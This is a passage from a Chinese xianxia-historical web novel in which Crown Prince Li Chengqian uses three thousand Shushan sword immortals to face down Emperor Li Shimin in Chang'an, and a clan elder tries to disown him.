终于,李世民缓缓地,一寸一寸地,将他那要喷出火来的目光,从信使身上,移回到了李承乾的脸上。 那不再是愤怒,而是一种混杂着滔天杀意、无尽失望和刻骨悲凉的眼神。 他看着自己的儿子,那个他曾经寄予厚望,后来又弃如敝履的儿子。 他看到了他嘴角那抹熟悉的,谦恭的微笑。 也看到了那微笑之下,隐藏的,足以倾覆天下的獠牙。 “李……承……乾!” 李世民一字一顿,用尽全身力气,才从喉咙深处挤出这个名字。 他的声音沙哑、破碎,充满了血腥的味道。 “你这是……” 他指着李承乾,手臂因为极致的愤怒而剧烈颤抖。 “要掘了大唐的根基啊!” 长安城外,夜色如墨。 那座巍峨的城池,此刻像一头匍匐在黑暗中的巨兽,城墙上零星的火把,如同它昏黄的眼瞳,透着不安与疲惫。 城外十里,空旷的官道之上,气氛却比皇城大内还要凝滞百倍。 袁天罡一身宽大的星辰道袍,无风自舞。 他就那么静静地悬浮在半空之中,脚下是虚无,身后是万家灯火的长安。 他的面前,是三千道森然的剑光。 三千名蜀山剑仙,身着统一的青色道袍,背负古剑,结成一座庞大的剑阵。 他们并未发出任何声音,但那汇聚在一起的冲天剑意,已经撕裂了夜空,让星月无光,让风云变色。 剑阵之前,并肩立着两人。 左边一人,身形窈窕,白衣胜雪,正是凤道人。 右边一人,身形魁梧,气息沉凝如山,是为虎道人。 他们便是这三千剑仙的首领,也是蜀山此次入世的先锋。 袁天罡浑浊的眼眸,平静地扫过那片剑气凛然的海洋,最终落在了凤道人的脸上。 他没有释放任何威压,整个人与这片天地融为一体,深不可测。 “凤道长,虎道长,” 袁天罡开口了,声音不大,却清晰地传入每一个人耳中,就在他们耳边低语,“两位道长,可曾回头看看身后的长安城?” 凤道人手持拂尘,微微稽首,姿态优雅,声音却冷冽如冰:“袁天师,我等奉太子之命而来,所见所闻,皆为太子殿下之意。至于长安城,它在,或不在,与我等何干?” 好一个“与我等何干”。 袁天罡轻轻叹了口气,那叹息声里,带着一种看透世事更迭的苍凉。 “方外之人,不染红尘。贫道明白。” 他顿了顿,话锋陡然一转,目光变得锐利起来,能刺破人心,“可今日之事,已非红尘俗事。这是天家父子的阋墙之争,是皇权与储君的生死对决!” “你们蜀山,当真要以三千仙剑,做那太子手中最锋利的刀,搅得这天下血流成河吗?” 他的声音陡然拔高,带着质问的意味,如同暮鼓晨钟,在空旷的夜野上回荡。 一直沉默不语的虎道人,闷哼一声,声如炸雷:“袁天罡!我等只知奉命行事!太子殿下有令,我等便战!哪来那么多废话!” 他的眼神凶悍,周身剑气暴涨,下一刻就要冲杀过来。 凤道人抬手,拦住了暴躁的师弟。 他依旧看着袁天罡,脸上挂着疏离的微笑:“袁天师言重了。我等修的是斩妖除魔的剑,求的是逍遥天地的大道。至于这人间帝王家的纷争,不过是过眼云烟。” “说得好一个过眼云烟!” 袁天罡忽然笑了,笑声里充满了讽刺,“那贫道倒要请教,若是这大唐江山因你们而倾覆,战火四起,饿殍遍野,处处皆是孤魂野鬼,这算是斩妖,还是除魔?” “你们脚下的每一寸土地,都将化为焦土!你们口中那些如蝼蚁凡人,将成千上万地死去!他们的哀嚎,他们的怨气,难道就不会污了你们蜀山清修的仙途吗?” “这,便是你们蜀山所求的‘大道’?” 这一连串的质问,如同一柄柄无形的重锤,狠狠砸在凤道人和虎道人的心头。 三千剑仙组成的剑阵,那原本锐不可当的剑意,似乎也出现了微不可查的紊乱。 凤道人的脸色终于变了。 他可以不在乎李唐的江山谁主沉浮,但他不能不在乎这滔天的因果业力。 修道之人,最忌讳的便是这个。 “袁天师,你这是在危言耸听!” 凤道人声音发紧,“我等只是听令行事,因果自有太子殿下承担!” “承担?” 袁天罡向前踏出一步,整个夜空都随着他这一步而震颤了一下,“他承担得起吗?你们蜀山,又承担得起吗?” “别忘了,你们是方外之人!方外之宗,干预天子家事,此乃大忌!一旦皇权崩溃,天下大乱,第一个被清算的,就是你们蜀山!” 袁天罡的声音冷了下来,带着一种洞悉天机的森寒。 “届时,天下所有道门,所有修行者,都会视你们为动乱之源,群起而攻之!你们以为,凭着三千仙剑,就能与整个天下为敌吗?” “痴心妄想!” 这四个字,如四道惊雷,炸响在每一个蜀山弟子的识海之中。 凤道人和虎道人脸色煞白,他们对视一眼,都看到了对方眼中的惊骇。 他们奉命下山,只知太子势大,有席卷天下之能。 他们以为这只是一次简单的改朝换代,是顺天应人之举。 可他们从未想过,袁天罡口中这般可怕的后果。 与天下为敌? 蜀山再强,也终究只是一个宗门。 “袁天师……” “你说的这些,不过是你一家之言。” “是吗?” 袁天罡的目光穿过他们,望向了遥远的皇宫方向,那里的气息,混乱到了极点。 “你们很快就会知道,贫道所言,是真是假。” “贫道言尽于此。路,是你们自己选的。是悬崖勒马,还是万劫不复,两位道长,好自为之。” 第74章 这蜀山剑仙,是听你这个太子的,还是听朕这个天子的! 万劫不复。 蜀山听太子号令,逆天而行,自应天劫! 他们脑海里反复回响,振聋发聩。 他们是修道之人,求的是长生,是逍遥。 之前,他们奉太子之命,襄助潜龙,顺天而行。 可现在,袁天罡却为他们揭开了这华丽外袍下的另一面——血海、枯骨、天下大乱、道门共讨。 不过。 三千剑仙组成的剑阵,那原本凝聚如一的剑意。 随时攻破玄武门! …… 太极殿内。 死寂。 文武百官垂首而立。 李世民就坐在那里,一动不动,目光穿过十几丈的距离,牢牢锁定在殿中那个身着太子冠服的儿子身上。 他的眼神里,没有往日的温情,没有父亲的慈爱,只剩下无尽的冰冷与审视,在看一个最熟悉的陌生人,一个窃取他江山的敌人。 而李承乾,就那么平静地站着,与他对视。 他的脸上没有丝毫惧色。 那不是挑衅,而是一种超然的自信,眼前这位九五之尊的滔天怒火,于他而言,不过是清风拂面。 这种平静,比任何激烈的言辞都更让李世民感到愤怒。 这还是他的儿子吗? 这个他曾经寄予厚望,却又让他感到越来越陌生的太子。 他究竟是什么时候,在自己眼皮子底下,织就了这么一张弥天大网? 蜀山剑仙,三千之众,兵临城下! 这是在逼宫! 这是赤裸裸的谋逆! “好,很好!” 李世民终于开口了。 每一个字,都透着压抑到极致的怒火。 他缓缓从龙椅上站起,那明黄色的龙袍随着他的动作,在昏暗的烛光下流淌着令人心悸的光泽。 无形的帝王威压,如同山崩海啸般,瞬间席卷了整座大殿! 长孙无忌、房玄龄、杜如晦等人脸色骤变,只觉得泰山压顶般的力量让他们几乎喘不过气来。 他们知道,皇帝,是真的动了雷霆之怒! 而那些站在李承乾身后的五姓七望官员,如陇西李氏的李泰煦,太原王氏的家主,则个个精神大震,眼中闪烁着兴奋与期待的光芒。 他们等待这一天,已经太久了。 皇权与储君的终极对决,终于要拉开序幕了! “李承乾。” 李世民的声音陡然拔高,如同炸雷般在殿内滚滚回荡,“你可知罪!” 李承乾微微躬身,姿态恭敬,语气却依旧平淡如水:“儿臣不知。儿臣所为,皆为大唐,皆为父皇。蜀山剑仙出世,只为扫清朝堂奸佞,稳固我李唐江山,何罪之有?” “放肆!” 李世民怒极反笑,他指着李承乾,手指因用力而微微颤抖,“扫清奸佞?朕看,你眼中最大的奸佞,就是朕吧!” 他一步步走下御阶,每一步都踩在所有人的心脏上。 “你以为,你得了蜀山相助,便能为所欲为了吗?你以为,凭着几千个方外之人,就能颠覆这大唐的天吗?” 李世民走到李承乾面前,两人相距不过三尺,父子二人,一个怒火滔天,一个平静如渊。 “朕告诉你,痴心妄想!” 李世民猛地一甩龙袖,转身面向殿外,声音穿透了殿门,穿透了皇宫的层层宫墙,响彻长安! “普天之下,莫非王土!” 这一声怒吼,引动了冥冥之中的国运龙气! 整座太极殿都嗡嗡作响,殿梁上的蟠龙雕刻,双目似乎都亮了一下! “率土之滨,莫非王臣!” 又是一声爆喝,威严霸道,不容置疑! 长安城内,无数已经歇下的百姓被这声音惊醒,纷纷跪伏在地,朝着皇宫的方向叩拜,他们感受到了天子的震怒! 李世民的目光如刀,再次死死盯住李承乾,一字一顿地说道:“朕今日,就要看看!” “这蜀山剑仙,究竟是听你这个太子的,还是听朕这个天子的!” 话音落下的瞬间,李世民眼中爆发出骇人的精光。 他没有再给李承乾任何机会,直接对着虚空,发出了蕴含着大唐国运的帝王敕令! “传朕旨意!” “城外蜀山弟子,干预朝政,意图谋逆!朕以大唐天子之名,命尔等——” “立刻,放下兵器,束手就擒!” “否则,视为叛逆,天下共击之!” 声音不大,却如同天道纶音,带着不容抗拒的威严,化作一道无形的金色波纹,瞬间扩散出去! 这道声音,不仅仅是声音。 它承载着李唐王朝百年来积攒的国运,承载着万民的信仰,承载着这片土地赋予真龙天子的无上权柄! 这是皇权! 是天命! 刹那间,太极殿内,五姓七望的官员们脸上的笑容僵住了。 他们感受到了,那是一种源自血脉深处,对皇权的本能敬畏与恐惧! 他们可以蔑视李世民个人,但他们无法对抗这凝聚了整个王朝气运的煌煌天威! 李泰煦的脸色变得无比难看,他死死地盯着李世民,眼中充满了不敢置信。 他没想到,李世民竟然敢如此决绝,直接动用国运,与蜀山硬撼! 长安城内外,风起云涌! 李承乾站在朝堂之内,独自对抗大唐皇帝陛下的愤怒,寸步不让! 此时,朝堂之上,长孙无忌,他那一直平静无波的脸上,终于出现了裂痕。 他的瞳孔猛地收缩了一下。 将这扬父子之间的博弈,直接上升到了皇权与仙道的对抗! 这是在赌! 赌蜀山剑仙,不敢真的与整个大唐为敌! 赌他们不敢背负上弑君篡逆,颠覆人间的滔天罪孽!…… 长安城外。 那道金色的敕令,跨越了空间,如同一轮煌煌大日,轰然降临在三千剑仙的头顶! “轰——!” 凤道人和虎道人只觉得识海巨震,元神被万钧重锤狠狠砸中,眼前金星乱冒。 那声音,对他们这些修道之人而言,比任何神通法术都要可怕! 那是人道皇权至高无上的体现! “放下兵器,束手就擒!” “否则,视为叛逆,天下共击之!” 每一个字,都化作一道金色的枷锁,朝着他们当头罩下! 三千剑仙组成的剑阵,与敕令! 玄武门决战,一触即发! 第75章 父皇,还要儿臣黄袍加身吗? 如泰山压顶。 人道皇权,煌煌天威,竟恐怖如斯! 太极殿内,死的寂静。 李承乾依旧站在原地,脊梁挺得笔直。 殿外那足以倾覆山河的对峙与他无关。他只是平静地看着他的父皇,那张因暴怒而扭曲的脸。 这副平静,比任何挑衅都更加刺眼。 李世民胸膛剧烈起伏,双目赤红如血,他死死地攥着拳头,指节因为过度用力而发出“咯咯”的脆响。 他感受到了,那是来自血脉相连的儿子的无声嘲讽! “好!好一个太子!” 李世民怒极反笑,笑声却比哭声还要森寒。 “朕今日,倒要看看,你还有何等底牌!” 他咆哮着,声音里满是孤注一掷的疯狂。 话音未落,他猛地一甩龙袍,大步流星,竟是直接朝着殿外走去! 他要亲眼去看! 他要让这满朝文武,让这天下人都看看,究竟是朕的皇权天命更硬,还是你李承乾的仙家手段更强! “陛下!” 长孙无忌、房玄龄等人骇然失色,下意识地惊呼出声。 可李世民的脚步没有丝毫停顿,那决绝的背影,要用最原始、最惨烈的方式,撕碎眼前的敌人。 满朝文武,从最初的震惊中回过神来,脸上血色尽褪。 他们看着皇帝的背影,又看看依旧面无表情的太子,只觉得一股寒气从脚底板直冲天灵盖。 疯了! 全都疯了! 这已经不是博弈,这是掀桌子!是要将整个大唐的国运都押上去的豪赌! 没有人敢再多说一句话,只能迈着僵硬的步子,如同行尸走肉般,跟在李世民身后,一步步踏出太极殿。 当李世民的龙靴踏上太极殿外白玉阶梯的瞬间,长安城外的景象,如同画卷,轰然展现在他眼前。 那一刻,即便是这位开创了贞观盛世,见惯了尸山血海的千古一帝,瞳孔也骤然缩成了针尖大小。 他的呼吸,停滞了一瞬。 天,被分成了两半。 一半是皇宫上空,由大唐国运汇聚而成的金色龙气,那道敕令化作的金日悬于正中,释放着镇压一切的威严。 由大唐国师袁天罡统帅。 另一半,则是黑云压城剑气! 三千柄长剑,静静悬浮在半空中,组成了一道横贯天际的钢铁洪流。每一柄剑都闪烁着冰冷的寒光,剑尖直指皇城! 那不是三千个手持兵刃的士卒。 那是三千名御剑而立的……蜀山剑仙! 他们散发出的,是凡人无法企及的超然气息,是足以斩断山川、撕裂大地的锋锐剑意! 纵然此刻被皇权敕令压制得光芒黯淡,可那股毁天灭地的潜在威能,依旧让李世民感到一阵心悸。 跟在他身后的文武百官,更是有人腿一软,直接瘫倒在地,裤裆处传来一阵骚臭。 他们何曾见过如此景象? 这完全超出了他们的认知!这是神话照进了现实! 就在这时,天地间那股胶着的、令人窒息的对峙,被一道身影打破了。 只见皇城与剑阵之间的虚空中,一道身影无声无息地浮现。 他身穿宽大的灰色道袍,手持一柄拂尘,须发皆白,面容古拙,与天地融为一体。 不良帅,袁天罡! 他虚空而立,背对皇城,独自一人,面对着蜀山凤、虎两位道人,以及他们身后的三千剑仙。 他的出现,没有带来惊天动地的气势,却驾驭大唐。 凤道人和虎道人看到他,原本苍白的脸上,同时浮现出无比凝重的神情。 李世民的目光从袁天罡身上扫过,最终,落回到了那片剑仙组成的“乌云”上。 他心中的怒火,在这一刻,竟被一股更深沉、更冰冷的寒意所取代。 震撼! 前所未有的震撼! 他猛地回头,视线穿过重重宫阙,穿过战战兢兢的百官,最终落在了太极殿门口,那个依旧孤身而立的儿子身上。 李承乾! 这些……都是他的力量? 一个他从未正眼瞧过,甚至一度以为平庸无能的儿子,竟然在不知不觉中,积攒了如此恐怖的势力? 灭掉突厥十五万大军,覆灭清河崔氏…… 原来,那都不是传言! 他真的有颠覆这江山社稷的本钱! 这一刻,李世民心中涌起的,不再是单纯的愤怒,而是一种被彻底欺骗和背叛后,深入骨髓的惊惧! 他的羽翼…… 竟然已经丰满到了如此地步! 李世民猛地扭过头。 那股子深入骨髓的惊惧,像一只冰冷的手,死死攥住了他的心脏。可他现在顾不上了。他的视线,如同一支利箭,跨越了百官惊恐的脸庞,越过了汉白玉的栏杆,死死钉在了太极殿那空旷的门口。 一个人影,从殿门的阴影中,走了出来。 不是走,是踱步。 李承乾。 他依旧穿着那身亲王规制的朝服,头戴金冠,面色平静得像一潭深秋的古井,没有波澜,没有情绪。 他一步一步,走下台阶。 脚步声,嗒,嗒,嗒。 每一下,都像是踩在满朝文武的心尖上。 没有人说话,整个广扬死的寂静。只能听到风声,还有那清晰、规律、带着某种天地节律的脚步声。 然后,所有人都看到了。 李承乾没有像其他臣子一样,走向两侧的甬道。 他走在了最中间。 那条用最光洁的白玉铺成,雕刻着九龙祥云,唯有真龙天子在举行登基、祭天、大朝会等最隆重典礼时,方能踏足的御道。 天子道! “嘶——” 倒抽冷气的声音此起彼伏。 房玄龄的瞳孔瞬间收缩,下意识地后退了半步,身子微微发抖。杜如晦藏在袖中的手,死死地攥成了拳头,指甲几乎要嵌进肉里。 程咬金那张天不怕地不怕的脸上,血色褪尽,嘴巴张了张,却一个字也发不出来。 疯了! 太子殿下他……疯了! 李承乾的脚步,不疾不徐。 那双黑色的皂靴,每一次落下,都精准地踏在御道中轴的龙纹之上。 他无视了李世民的咆哮,无视了那张因愤怒而扭曲的帝王面孔。 也无视了人群中,那些来自五姓七望的官员们,一张张瞬间煞白的脸。 太原王氏的家主王珪,只觉得一股寒气从脚底板直冲天灵盖,四肢百骸都僵住了。他身边的清河崔氏族老,嘴唇哆嗦着,牙齿磕碰,发出咯咯的轻响。 他们看向李承乾的眼神,不再是审视,不再是算计,而是纯粹的、发自骨髓的恐惧。 就在半个时辰前,当蜀山剑仙兵临城下的消息传来,当李承乾尚未走出殿门之时,他们还聚在一起,用眼神交换着最恶毒的密谋。 趁着禁军混乱,趁着所有人的注意力都在城外,派出府中死士,不惜一切代价,将这个平庸的太子刺杀在宫中! 一个死了的太子,哪怕有蜀山撑腰,也不过是一具尸体。 可现在…… 晚了。 一切都太晚了。 他走出来了。 长安城外,是三千蜀山剑仙兵临玄武门,剑锋所指,是大唐皇权! 太极殿前,是当朝太子公然践踏天子御道,步步为营,直逼君父! 一个在城外,用武力威慑。 一个在殿前,用礼法诛心! 这是何等嚣张!何等狂妄! 李世民的身躯剧烈地颤抖起来。那股子被欺骗的寒意,此刻被一股火山喷发怒火彻底点燃,烧得他五脏六腑都在沸腾。 他看着那个身影,那个他曾经以为平庸的儿子,正用一种他最无法容忍的方式,向他,向整个天下,宣告着自己的存在! 那闲庭信步的姿态,那目不斜视的平静,比城外三千柄悬顶的利剑,还要让他感到屈辱和愤怒! 那不是在走路! 那是在打他的脸!是在践踏他身为帝王的最后一丝尊严! “逆子!” 一声压抑到极致,从喉咙深处挤出来的咆哮,撕裂了广扬上凝固的空气。 李世民双目赤红,额角青筋暴跳,指着那个不紧不慢的身影,浑身都在发抖。 “你……你这个逆子!” 他的声音因为极致的愤怒而变得嘶哑、尖利。 “城外三千剑仙!殿前你走天子道!还有什么是你这个逆子不敢做的!” 李承乾的脚步没有停。 他没有听见,依旧保持着那种沉稳的步调,离李世民越来越近。 那无声的压迫感,让李世民几乎要发狂。 他所有的骄傲,所有的威严,在这一刻被他儿子用最直接、最羞辱的方式踩在了脚下,碾得粉碎! “你还要做什么!” “啊?!” “你是不是还要黄袍加身啊!” 李世民的咆哮在空旷的太极殿广扬上回荡,带着一丝不甘的颤音。 而回应他的,依旧是李承乾那不疾不徐的脚步声。 嗒,嗒,嗒。 此时,人群中,以陇西李氏家主李泰煦为首的五姓七望官员们,面色已经不是惨白,而是死灰。 他们的身体筛糠般抖动,牙齿咯咯作响,不是因为冷,而是源于骨髓深处的恐惧。 就在不久前,就在蜀山剑仙尚未兵临城下之时,他们还在暗中串联,密谋着趁太子羽翼未丰,寻个由头,以雷霆之势将其彻底废黜,甚至……击杀。 他们以为,只要动作够快,便能将这个隐患扼杀在摇篮里。 可现在看来,那想法是何等的可笑,何等的天真! 为时已晚? 不,是天差地别! 人家不是羽翼未丰,而是早已龙飞九天!他们这些自以为是的世家大族,在他眼中,恐怕连螳臂当车的螳螂都算不上,顶多是路边几只聒噪的夏虫。 李泰煦的喉咙里发出嗬嗬的怪响,他看着那个走在天子御道上的背影,眼中第一次浮现出名为“绝望”的情绪。 他完了,五姓七望完了。 这一刻,所有文武百官,不论是忠于李世民的,还是心怀鬼胎的,心中都升起一个荒诞而又唯一的念头。 奇迹。 他们需要一个奇迹。 他们期待着,在这最关键的时刻,李世民,这位开创了贞观盛世的天可汗,能以他至高无上的天子之威,爆发出不可思议的力量! 他们期待着,李世民一声令下,那城外的三千蜀山剑仙会幡然醒悟,会畏惧天威,会意识到自己是在助纣为虐,从而倒戈一击,将剑锋转向那个大逆不道的太子! 这是他们最后的,也是唯一的救命稻草。 所有人的目光,都死死地钉在李世民身上,眼中满是祈求和催促。 “陛下!快下令啊!” “陛下!天命在您!诛杀此獠!” 终于,李承乾停下了脚步。 他停在了九级台阶之下,离龙椅上的李世民,不过十步之遥。 他抬起头,那双古井无波的眸子,终于第一次,正视龙椅上暴怒如狂的父亲。 没有畏惧,没有愧疚,甚至没有一丝情绪。 那眼神,就像是在看一个……陌生人。 这种彻底的漠视,比任何刀剑都更加伤人。 李世民的心脏像是被一只无形的大手狠狠攥住,痛得他几乎窒息。 “好……好啊!”李世民怒极反笑,笑声凄厉,“你这逆子,是觉得朕……奈何不了你了吗!” 他猛地站起身,龙袍鼓荡,属于帝王的威压毫无保留地释放出来。 他不再看李承乾,而是猛地抬头,望向玄武门的方向,用尽全身的力气,发出了他身为大唐皇帝的,最强音! “蜀山剑仙听旨!” 声音如雷,滚滚传开,带着不容置疑的皇权天威。 “尔等乃方外之人,何故干预凡间帝王家事!朕乃大唐天子,奉天承运!尔等助此逆子,便是逆天而行!” “朕命尔等,立刻放下兵器,退回蜀山!否则,他日朕必将踏平蜀山,令尔等千年道统,化为飞灰!” 声震四野! 殿前百官精神为之一振,对啊!陛下是天子!天子之怒,伏尸百万!区区蜀山,怎敢与整个大唐为敌? 奇迹,就要发生了! 然而…… 长安城外,玄武门前。 三千柄长剑悬于半空,剑气森然,将整座城门笼罩在一片肃杀之中。 凤道人一袭白衣,飘然若仙。虎道人身形魁梧,气势如山。 他们听到了李世民的怒吼,但两人的脸上,没有丝毫变化。 太极殿前。 死的寂静。 所有人都屏住呼吸,等待着城外蜀山剑仙的反应。 一息,两息,三息…… 没有任何动静。 那悬在长安头顶的三千柄利剑,依旧稳稳地悬在那里,剑锋所指,仍是大唐皇宫。 李世民的天子之威,石沉大海,没有激起半点涟漪。 百官心中刚刚燃起的希望之火,瞬间被一盆冰水浇得干干净净,只剩下一缕青烟,和刺骨的寒意。 怎么会…… 为什么会这样? 那可是天子之令啊! 此时,李承乾走到了李世民的面前。 “父皇,你刚才说黄袍加身?” “父皇,还要儿臣黄袍加身吗?” “其实,不必那么麻烦。” “这龙袍,你脱下来,儿臣自己穿,也是一样的。” 第76章 剑来!李承乾之威! 满朝文武看着走在天子道上的李承乾。 “你……” 李世民的手指颤抖地指着李承乾。 那张曾经威严无双的脸上,血色褪尽,只剩下死一样的苍白。 “你这……逆子!” 他从牙缝里挤出这几个字,每一个字都用尽了他全身的力气。 这龙袍,你脱下来,儿臣自己穿,也是一样的。 这句话,狠狠地刺入李世民的心脏,然后猛烈地搅动。 百官们被施了定身咒,一个个僵在原地,连呼吸都忘了。 他们的大脑一片空白,无法处理眼前这颠覆人伦、震撼三观的景象。 太子,要扒了皇帝的龙袍! 终于,这片死寂被一道尖利的声音划破。 “陛下!!” 清河崔氏的家主,第一个从极致的惊骇中挣脱出来,他连滚带爬地扑到丹陛之下,声音凄厉,带着哭腔。 “陛下!此獠已然疯魔!他不是太子,他是乱臣贼子!是窃国大盗!请陛下速速下旨,诛杀此獠!为大唐清君侧,正朝纲啊!” 他的话一块巨石砸入死水,瞬间激起千层浪。 “请陛下速速处死李承乾!” “万万不能再留他!” 太原王氏、范阳卢氏…… 五姓七望的家主们纷纷出列,一张张往日里养尊处优的脸庞,此刻都因恐惧和愤怒而扭曲。 他们是依附于皇权的藤蔓,李世民是他们赖以生存的大树。 如今有人要推倒这棵树,他们比谁都急。 “陛下,他这是在虚张声势!” 兵部尚书侯君集也壮着胆子喊道,他的声音因紧张而有些发颤。 “陛下您是天子,连您都号令不了蜀山剑仙,他一个黄口小儿,凭什么?他是在吓唬我们!” “对!定是如此!” “蜀山剑仙乃方外之人,岂会听命于一个凡间太子!” “他这是在赌!赌我们不敢动他!” 满朝文武此刻找到了最后一根救命稻草。 他们宁愿相信这是一个荒唐的骗局,也不愿接受皇权旁落的事实。 他们的忠诚,他们的功勋,他们的一切都建立在李世民的天威之上。 如果李世民倒了,他们也将万劫不复。 一声声的劝进,一声声的“诛杀”,汇成汹涌的声浪,拍打着太极殿的梁柱,也拍打着李世民摇摇欲坠的帝王尊严。 李世民的眼中,重新燃起了微弱的希望之火。 是啊…… 朕是天子。 他都无法号令的蜀山剑仙,承乾…… 又怎么可能? 这一定是假的! 然而,面对着这满朝的汹汹之言,李承乾只是静静地站着,连眼皮都未曾抬一下。 他缓缓转过身。 “呵……” 一声轻笑,从李承乾的唇边溢出。 笑声不大,却像一把锋利的剃刀,瞬间割断了满殿的嘈杂。 所有人都安静下来,惊疑不定地看着他。 李承乾的笑意越来越浓,最终化作一阵畅快淋漓的大笑。 “哈哈……哈哈哈哈!” 他的笑声在空旷的殿宇中回荡,充满了无尽的嘲弄与蔑视。 “孤?无法调动蜀山?” 他缓缓收敛笑意,目光如冰,一字一顿地说道,“孤,号令天下!” 话音未落,他猛地抬起头,望向玄武门的方向! 那声音不再是人言,而是九天之上传来的法旨,带着不容置疑的威严与力量! “剑——来!” 一个“剑”字,如平地惊雷,炸响! 一个“来”字,似九幽寒风,刮过! 长安城外,玄武门前。 剑来! 三千柄悬浮在空中的长剑,在这一瞬间,被注入了灵魂! “嗡——”一声低沉的剑鸣,自第一柄剑身上响起。 紧接着,是第二柄,第三柄,第一百柄,第一千柄…… “嗡嗡嗡嗡嗡——”三千柄长剑齐齐震颤,发出的剑鸣声汇聚成浩瀚的音浪,不再是简单的嗡鸣,而是一曲高亢、肃杀、足以撕裂苍穹的战争序曲! 凤道人与虎道人原本平静的脸上,瞬间涌上狂热的崇敬。 他们猛地抬头,朝着皇宫的方向,单膝跪倒在虚空之中,声如洪钟! “蜀山弟子,谨遵法旨!” 随着他们的动作,那三千柄长-剑动了! 它们不再是静止的悬浮。 每一柄剑的剑尖,都迸射出三尺长的璀璨剑芒! 青色的,白色的,金色的,紫色的…… 三千道不同颜色的剑芒,在昏暗的天空下交织,汇聚! 刹那间,难以言喻的恐怖威压,从天而降! 那不是风,却比最凛冽的寒风更加刺骨。 那不是光,却比最灼热的烈日更加耀眼。 那是纯粹的、凝练到极致的剑意! 长安城内,无数百姓在这股威压下双腿一软,直接瘫倒在地,面朝皇宫的方向,瑟瑟发抖,肝胆欲裂。 城墙上的守军,手中的兵器“哐当当”掉了一地,他们想站稳,却发现自己的身体根本不听使唤,只能狼狈地跪伏下去。 太极殿前。 那股滔天的剑意跨越了空间的距离,如同一只无形的巨手,狠狠地攥住了整座宫殿! “咯吱……咯吱……” 殿顶的琉璃瓦在剧烈地震颤,发出不堪重负的呻吟。 支撑着殿宇的巨大梁柱,开始摇晃,灰尘簌簌而下。 殿内的百官,再也站不住了。 “啊!” 不知是谁发出了一声凄厉的惨叫。 紧接着,扑通,扑通,扑通! 无论是五姓七望的家主,还是手握重兵的将军,亦或是口若悬河的文臣,此刻都被收割的麦子,成片成片地跪倒在地。 他们的身体抖如筛糠,牙齿疯狂地打颤,发出“咯咯”的声响。 恐惧! 是发自灵魂深处的,最原始的恐惧! 他们之前所有的侥幸,所有的质疑,所有的叫嚣,在这一刻,都被这毁天灭地景象,碾得粉碎! 这是神迹! 不,这是神罚! 而降下这神罚的,不是天,而是那个他们刚刚还在叫嚣着要诛杀的太子——李承乾! 李世民踉跄着后退,一步,两步…… 直到后背重重地撞在冰冷的龙椅之上。 他没有跪下,不是他不想,而是他全身的骨骼都已经僵硬,无法做出任何动作。 他的双眼瞪得有如铜铃,死死地盯着殿外那片已经被剑光染成白昼的天空。 他的耳中,充斥着那浩瀚如海的剑鸣。 他的身体,感受着那足以碾碎一切的威压。 天子之威? 奉天承运? 在这一刻,都成了一个惊惧。 皇权与储君之争! 他终于明白了。 他终于明白,为何蜀山剑仙对他这个大唐天子的圣旨置若罔闻。 因为,他们效忠的,从来都不是大唐的天子。 他们效忠的,是他的儿子,李承乾! 大殿前! 李承乾依旧站在那里,负手而立。 漫天的剑光,透过玄武门,映照在他的身上,剑意滔天。 李世民与李承乾之争! 即见分晓! …… 感谢兄弟们的支持。 能不能求波礼物。 第77章 贬出族谱?孤求之不得! 他玄色的衣袍上,流转着三千剑光,披上了一件由星河织就的战甲。 那张年轻的脸庞,在剑芒的映衬下,线条冷硬如冰雕。 寂静。 死的寂静。 太极殿内,唯一的声音只剩下百官牙关战栗的“咯咯”声,和那依旧从殿外渗透进来的,如同苍天悲鸣的剑吟。 恐惧片。 就在这片凝固的死寂中,一个颤巍巍的身影,从跪伏的百官之中,挣扎着站了起来。 是李泰煦。 陇西李氏的宗主,这位在五姓七望中都辈分极高的宗主,之前一直阴谋算计李承乾的主谋。 此刻脸色惨白如纸,花白的胡须因为抑制不住的颤抖而抖动。 他站起来的动作很慢,膝盖骨发出不堪重负的“咔咔”声,用尽了全身的力气。 他每站起一寸,那来自殿外的剑威就如同山岳般压下,让他本就佝偻的脊背弯得更低。 可他还是站起来了。 在一片跪伏的人群中,他那摇摇欲坠的身影,显得如此突兀,又如此…… 不自量力。 所有人的目光,都下意识地被他吸引过去。 只见李泰煦强行挺直了腰杆,浑浊的老眼里燃烧着屈辱与愤怒交织的火焰。 他没有看龙椅上失魂落魄的李世民,而是死死地盯着殿外的那个身影,那个他血缘上的晚辈。 他抬起一只颤抖的手,直指李承乾。 “孽障!” 一声暴喝,嘶哑而尖利,划破了殿内的死寂! 这一声,用尽了他所有的勇气。 百官闻声,皆是浑身一颤,不少人惊骇地抬起头,看向李泰煦的眼神如同在看一个死人。 疯了! 这老东西一定是疯了! 在这种时候,他怎么敢? 他怎么敢如此呵斥那个如同神魔的太子! 李泰煦的胸膛剧烈起伏,他喘着粗气,继续用他那充满宗族长辈威严的口吻,痛心疾首地怒斥道:“李承乾!你看看你做的好事!你眼中还有没有祖宗!还有没有纲常伦理!” “我陇西李氏,自秦将李信始,传承千年,何曾出过你这等忤逆不孝,以兵锋胁迫君父的子孙!” 他的声音越来越大,从那滔天的剑威中,为自己找到了些许立足之地。 “你以为,凭着这些旁门左道的鬼蜮伎俩,就能为所欲为了吗?你这是在动摇我大唐的国本!是在给我李氏一族的脸上抹黑!” 李泰煦越说越激动,唾沫横飞。 “我!李泰煦!作为你李承乾的族中长辈,作为陇西李氏的现任宗主!今日,我便要替列祖列宗,清理门户!” 他深吸一口气,几乎是用尽生命在咆哮。 “我在此宣布,将你这个不忠不孝的孽障,逐出陇西李氏宗族!从今往后,你李承乾,再与我五姓七望,无半点干系!” “你的名字,将从族谱中永远划去!你死后,亦不得入我李氏祖坟!” 话音落下,整个大殿落针可闻。 这一番话,掷地有声,带着古老而森严的仪式感。 在过去,被逐出宗族,对任何一个士人而言,都是比死亡更加可怕的惩罚。 这意味着他将成为无根的浮萍,被整个上流社会所抛弃,永远背负着耻辱的烙印。 李泰煦说完,气喘吁吁,但脸上却带着病态的亢奋。 他认为自己抓住了李承乾唯一的软肋——名声与出身。 你再强,也是李家的人! 你再厉害,也摆脱不了这层身份! 我动不了你的剑,但我能毁了你的根! 他死死地盯着李承乾,等待着对方的惊慌,愤怒,甚至是求饶。 然而…… 殿外的李承乾,终于有了动作。 他缓缓地,缓缓地转过身,那双被剑光映照得一片漠然的眸子,终于落在了李泰煦的身上。 他的目光很平静。 没有愤怒,没有惊讶,甚至没有波澜。 就像高高在上的神明,在俯瞰一只聒噪的蝼蚁。 那是纯粹的、不带任何感情的漠视。 